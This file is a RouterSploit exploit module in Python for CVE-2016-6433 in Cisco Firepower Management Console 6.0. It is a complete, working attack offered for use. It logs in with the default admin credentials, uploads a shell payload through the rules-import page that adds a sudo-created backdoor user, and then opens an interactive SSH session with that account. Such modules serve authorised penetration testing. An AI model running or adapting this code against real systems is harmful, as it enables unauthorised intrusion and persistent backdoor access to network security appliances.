import requests
import paramiko
import re

from routersploit import (
    exploits,
    print_success,
    print_status,
    print_error,
    mute,
    validators,
    http_request,
    random_text,
    ssh_interactive
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Cisco Firepower Management 6.0 Remote Code Execution vulnerability.
    If the target is vulnerable, it is possible to retrieve content of the arbitrary files.
    """
    __info__ = {
        'name': 'Cisco Firepower Management 6.0 RCE',
        'description': 'Module exploits Cisco Firepower Management 6.0 Remote Code Execution vulnerability.'
                       'If the target is vulnerable, it is create backdoor account and authenticate through SSH service.',
        'authors': [
            'Matt',  # vulnerability discovery
            'sinn3r',  # Metasploit module
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6433',
            'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking',
        ],
        'devices': [
            'Cisco Firepower Management Console 6.0'
        ],
    }

    target = exploits.Option('', 'Target IP address', validators=validators.url)
    port = exploits.Option(443, 'Target Port', validators=validators.integer)
    ssh_port = exploits.Option(22, 'Target SSH Port', validators=validators.integer)

    username = exploits.Option('admin', 'Default username to log in')
    password = exploits.Option('Admin123', 'Default password to log in')

    newusername = exploits.Option('', 'New backdoor username (Default: Random)')
    newpassword = exploits.Option('', 'New backdoor password (Default: Random)')

    session = None

    def run(self):
        self.session = requests.Session()

        if self.check():
            print_success("Target seems to be vulnerable")
            if self.login():
                if not self.newusername:
                    self.newusername = random_text(8)
                if not self.newpassword:
                    self.newpassword = random_text(8)

                self.create_ssh_backdoor(self.newusername, self.newpassword)

                # Log into the SSH backdoor account
                self.init_ssh_session(self.newusername, self.newpassword)
            else:
                print_error("Exploit failed. Could not log in")
        else:
            print_error("Exploit failed. Target seems to be not vulnerable.")

    @mute
    def check(self):
        url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
        response = http_request(method="GET", url=url)

        if response is not None and response.status_code == 200:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            target = self.target.replace("http://", "").replace("https://", "")

            try:
                ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8))
            except paramiko.AuthenticationException:
                    return True  # target is vulnerable
            except Exception:
                pass

        return False  # target is not vulnerable

    def login(self):
        url = "{}:{}/login.cgi?logout=1".format(self.target, self.port)

        data = {"username": self.username,
                "password": self.password,
                "target": ""}

        print_status("Trying to authenticate")
        response = http_request(method="POST", url=url, data=data, allow_redirects=False, session=self.session)
        if response is None:
            return False

        if response.status_code == 302 and "CGISESSID" in response.cookies.keys():
            print_status("CGI Session ID: {}".format(response.cookies['CGISESSID']))
            print_success("Authenticated as {}:{}".format(self.username, self.password))
            return True

        print_error("Exploit failed. Could not authenticate.")
        return False

    def create_ssh_backdoor(self, username, password):
        url = "{}:{}/DetectionPolicy/rules/rulesimport.cgi".format(self.target, self.port)
        sh_name = 'exploit.sh'
        sf_action_id = self.get_sf_action_id()

        payload = "sudo useradd -g ldapgroup -p `openssl passwd -1 {}` {}; rm /var/sf/SRU/{}".format(password, username, sh_name)

        print_status("Attempting to create SSH backdoor")

        multipart_form_data = {"action_submit": (None, "Import"),
                               "source": (None, "file"),
                               "manual_update": (None, "1"),
                               "sf_action_id": (None, sf_action_id),
                               "file": (sh_name, payload)}

        try:
            http_request(method="POST", url=url, files=multipart_form_data, session=self.session)
        except Exception:
            pass

        return

    def get_sf_action_id(self):
        print_status("Attempting to obtain sf_action_id from rulesimport.cgi")

        url = "{}:{}/DetectionPolicy/rules/rulesimport.cgi".format(self.target, self.port)

        response = http_request(method="GET", url=url, session=self.session)
        if response is None:
            return None

        res = re.findall("sf_action_id = '(.+)';", response.text)

        if len(res) > 1:
            print_status("Found sf_action_id: {}".format(res[1]))
            return res[1]

        return None

    def init_ssh_session(self, username, password):
        print_status("Trying to authenticate through SSH with username: {} password:{} account".format(username, password))
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        target = self.target.replace("http://", "").replace("https://", "")
        try:
            ssh.connect(target, self.ssh_port, timeout=5, username=username, password=password)
        except Exception:
            ssh.close()
        else:
            print_success("SSH - Successful authentication")
            ssh_interactive(ssh)

        return
